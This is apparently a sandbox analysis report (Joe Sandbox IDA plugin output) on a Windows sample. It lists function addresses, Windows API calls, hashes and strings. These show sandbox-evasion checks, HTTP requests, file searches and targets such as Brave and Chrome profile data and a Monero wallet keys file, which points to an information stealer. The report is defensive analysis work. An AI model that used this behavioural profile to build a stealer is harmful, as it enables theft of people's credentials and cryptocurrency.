Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 97bf69915272c58e8dca3ed7e66370cd0960f36faa65c2c7dd7700e88468dd2f
Instruction ID: f4da59abce0d32fc197c4174fffff7de678b4c79928a372316b673e95be7efad
Opcode Fuzzy Hash: 97bf69915272c58e8dca3ed7e66370cd0960f36faa65c2c7dd7700e88468dd2f
Instruction Fuzzy Hash: FE0162B0D44308FBDF54EBD4CC49B9DBB79AB04701F208149E719BA2C1D77456818759

Function 00686AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,012B8908,?,0069110C,?,00000000,?,00691110,?,00000000,00690AEF), ref: 00686ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00686AE8
CloseHandle.KERNEL32(00000000), ref: 00686AF9
Sleep.KERNEL32(00001770), ref: 00686B04
CloseHandle.KERNEL32(?,00000000,?,012B8908,?,0069110C,?,00000000,?,00691110,?,00000000,00690AEF), ref: 00686B1A
ExitProcess.KERNEL32 ref: 00686B22

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: d0d06a7378dce0694bc8c14865676403d6b362a0859928388ad0f440b26d3cc4
Instruction ID: 675665c06daf119e83fb6ca8c6d58b79277bc0bcf3756f5596f189e4e591f949
Opcode Fuzzy Hash: d0d06a7378dce0694bc8c14865676403d6b362a0859928388ad0f440b26d3cc4
Instruction Fuzzy Hash: F2F08270944209AFE744BBA0DD06BBD7B75FB14701F104719F913A11C1DBB15941D75B

Function 006747B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00674839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00674849

Strings

<, xrefs: 006747C9

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 1311565b44eabd86b57eb82a471d909336b0ffb7cda8dd3e8e9deb80780a36b9
Instruction ID: 576788a75f0ca1851a178555ad0e6a60f6558a6ba5977ed4f58aed218c64e90d
Opcode Fuzzy Hash: 1311565b44eabd86b57eb82a471d909336b0ffb7cda8dd3e8e9deb80780a36b9
Instruction Fuzzy Hash: 892130B1D00209ABDF14EFA4E94AADD7B75FB45310F108629F955A7280DB706609CB91

Function 006851F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0068A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0068A7E6

Part of subcall function 00676280: InternetOpenA.WININET(00690DFE,00000001,00000000,00000000,00000000), ref: 006762E1
Part of subcall function 00676280: StrCmpCA.SHLWAPI(?,012BF3F0), ref: 00676303
Part of subcall function 00676280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00676335
Part of subcall function 00676280: HttpOpenRequestA.WININET(00000000,GET,?,012BEBF8,00000000,00000000,00400100,00000000), ref: 00676385
Part of subcall function 00676280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 006763BF
Part of subcall function 00676280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006763D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00685228

Strings

ERROR, xrefs: 0068521A
ERROR, xrefs: 00685273

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 0cfe1d21faa7c548fe12194b5e9753487868f05c8b32f5eb76e5ea0259be1a6f
Instruction ID: 4b5ab677f5c959d905ac2a62e2660e518844e251107e11fc8302b407fb1faf5a
Opcode Fuzzy Hash: 0cfe1d21faa7c548fe12194b5e9753487868f05c8b32f5eb76e5ea0259be1a6f
Instruction Fuzzy Hash: 61113370900108A7EB58FFA4DD92AED737AAF50300F50825DFC1A5A592EF34AB06C796

Function 006878E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00687910
RtlAllocateHeap.NTDLL(00000000), ref: 00687917
GetComputerNameA.KERNEL32(?,00000104), ref: 0068792F

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 0154f652654ce937b2d4ea855c437d8afb52aa5e93d62e33b80b57e948daf00a
Instruction ID: 86437310b4b384b81b82d188497a4f95c1facab35608bf4e300994f68abf7bc2
Opcode Fuzzy Hash: 0154f652654ce937b2d4ea855c437d8afb52aa5e93d62e33b80b57e948daf00a
Instruction Fuzzy Hash: A60186B1904204EFCB14DF94DD45BAABBB8F704B21F104329F645E3680D37559448BA1

Function 00671110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0067112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00671132
ExitProcess.KERNEL32 ref: 00671143

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 9b596acb999e8c070630fae11c425e007e3ade297bff9abc6df885870a875a53
Instruction ID: c097c0352f8a81cbe88decf00c05e89e44a3d0b2d86a9a48c4359cbc6d7886c6
Opcode Fuzzy Hash: 9b596acb999e8c070630fae11c425e007e3ade297bff9abc6df885870a875a53
Instruction Fuzzy Hash: 07E0867094530CFBE7146BA4DC0AB087778BB04B01F104155F7087A5C0CAB526009699

Function 006710A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 006710B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 006710F7

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 2c02401388a88bf7452b1228c2fda4435bf7c23515dd0078eba1c71337d96e5b
Instruction ID: 6d30a2bf4bc7abd741ecfb642946c7d71cfd98872ba505fdd166ccbc3b88d62f
Opcode Fuzzy Hash: 2c02401388a88bf7452b1228c2fda4435bf7c23515dd0078eba1c71337d96e5b
Instruction Fuzzy Hash: 69F0E271641308BBEB149AA8AC49FEEB7ECE705B15F304548F504E7280D9719E00CAA4

Function 00671190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 006878E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00687910
Part of subcall function 006878E0: RtlAllocateHeap.NTDLL(00000000), ref: 00687917
Part of subcall function 006878E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0068792F

Part of subcall function 00687850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006711B7), ref: 00687880
Part of subcall function 00687850: RtlAllocateHeap.NTDLL(00000000), ref: 00687887
Part of subcall function 00687850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0068789F

ExitProcess.KERNEL32 ref: 006711C6

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 651e3ad9687aacb643840791475233ce9951de9babd8fd9abafd0e27b08b94a4
Instruction ID: 1647e66dc855065e1c4a161b173d2db27ada8facc5f76f512942c65181ede998
Opcode Fuzzy Hash: 651e3ad9687aacb643840791475233ce9951de9babd8fd9abafd0e27b08b94a4
Instruction Fuzzy Hash: BAE08CA191420566CA4837F4AC0AB2A338E6B11345F440739BA0986242FE25E800876E

Non-executed Functions

Function 006838B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006838CC
FindFirstFileA.KERNEL32(?,?), ref: 006838E3
lstrcat.KERNEL32(?,?), ref: 00683935
StrCmpCA.SHLWAPI(?,00690F70), ref: 00683947
StrCmpCA.SHLWAPI(?,00690F74), ref: 0068395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00683C67
FindClose.KERNEL32(000000FF), ref: 00683C7C

Strings

%s\%s, xrefs: 00683A6F
%s\*, xrefs: 006838C0
%s\%s, xrefs: 0068397A
%s%s, xrefs: 00683AAD
%s\%s\%s, xrefs: 00683A4A

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 574b52fbf93e1a58cf1fd3e6ddb8f83dc7b5d2ce7ce1204db6d57e681c856dad
Instruction ID: 75d993f2f8bc54d0476f954350c9aba167b3279046093e7a00f6025b0fbc78ce
Opcode Fuzzy Hash: 574b52fbf93e1a58cf1fd3e6ddb8f83dc7b5d2ce7ce1204db6d57e681c856dad
Instruction Fuzzy Hash: 3BA142B1900218AFDB64EFA4DC85FEE737DBB54700F044698E50D96241EB759B84CF62

Function 0067BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

Part of subcall function 0068A920: lstrcpy.KERNEL32(00000000,?), ref: 0068A972
Part of subcall function 0068A920: lstrcat.KERNEL32(00000000), ref: 0068A982

Part of subcall function 0068A9B0: lstrlen.KERNEL32(?,012B8BB8,?,\Monero\wallet.keys,00690E17), ref: 0068A9C5
Part of subcall function 0068A9B0: lstrcpy.KERNEL32(00000000), ref: 0068AA04
Part of subcall function 0068A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0068AA12

Part of subcall function 0068A8A0: lstrcpy.KERNEL32(?,00690E17), ref: 0068A905

FindFirstFileA.KERNEL32(00000000,?,00690B32,00690B2B,00000000,?,?,?,006913F4,00690B2A), ref: 0067BEF5
StrCmpCA.SHLWAPI(?,006913F8), ref: 0067BF4D
StrCmpCA.SHLWAPI(?,006913FC), ref: 0067BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0067C7BF
FindClose.KERNEL32(000000FF), ref: 0067C7D1

Strings

Preferences, xrefs: 0067C11E
\Brave\Preferences, xrefs: 0067C1DB
Google Chrome, xrefs: 0067C634
Brave, xrefs: 0067C102

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 02778efc478d1d48a6025e55e57bd80d1f189238a06215dbd0fd774473a96397
Instruction ID: f42ce46037e94bbf1d3114bc93d44c240093d675b7b7590de8b6026b135ef158
Opcode Fuzzy Hash: 02778efc478d1d48a6025e55e57bd80d1f189238a06215dbd0fd774473a96397
Instruction Fuzzy Hash: 894267B19101045BDF58FBB0DD96EED737EAB44300F40865DFD0AA6181EE34AB49CBA6

Function 00684910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0068492C
FindFirstFileA.KERNEL32(?,?), ref: 00684943
StrCmpCA.SHLWAPI(?,00690FDC), ref: 00684971
StrCmpCA.SHLWAPI(?,00690FE0), ref: 00684987
FindNextFileA.KERNEL32(000000FF,?), ref: 00684B7D
FindClose.KERNEL32(000000FF), ref: 00684B92

Strings

%s\%s, xrefs: 006849FB
%s\%s, xrefs: 006849A4
%s\*, xrefs: 00684920

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 324cc1d3f9d96b01d745438321724236bc2ce8491ab7db67d4279f345d8d55c5
Instruction ID: 9d175668a36c24c2fb14ba3578913c051bbfa8af788dfb3873d88ee413470df2
Opcode Fuzzy Hash: 324cc1d3f9d96b01d745438321724236bc2ce8491ab7db67d4279f345d8d55c5
Instruction Fuzzy Hash: C46164B2900219ABDF24EBA0DC45EEA737DBB48700F04869CF60996141EF75EB85CF95

Function 00684570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00684580
RtlAllocateHeap.NTDLL(00000000), ref: 00684587
wsprintfA.USER32 ref: 006845A6
FindFirstFileA.KERNEL32(?,?), ref: 006845BD
StrCmpCA.SHLWAPI(?,00690FC4), ref: 006845EB
StrCmpCA.SHLWAPI(?,00690FC8), ref: 00684601
FindNextFileA.KERNEL32(000000FF,?), ref: 0068468B
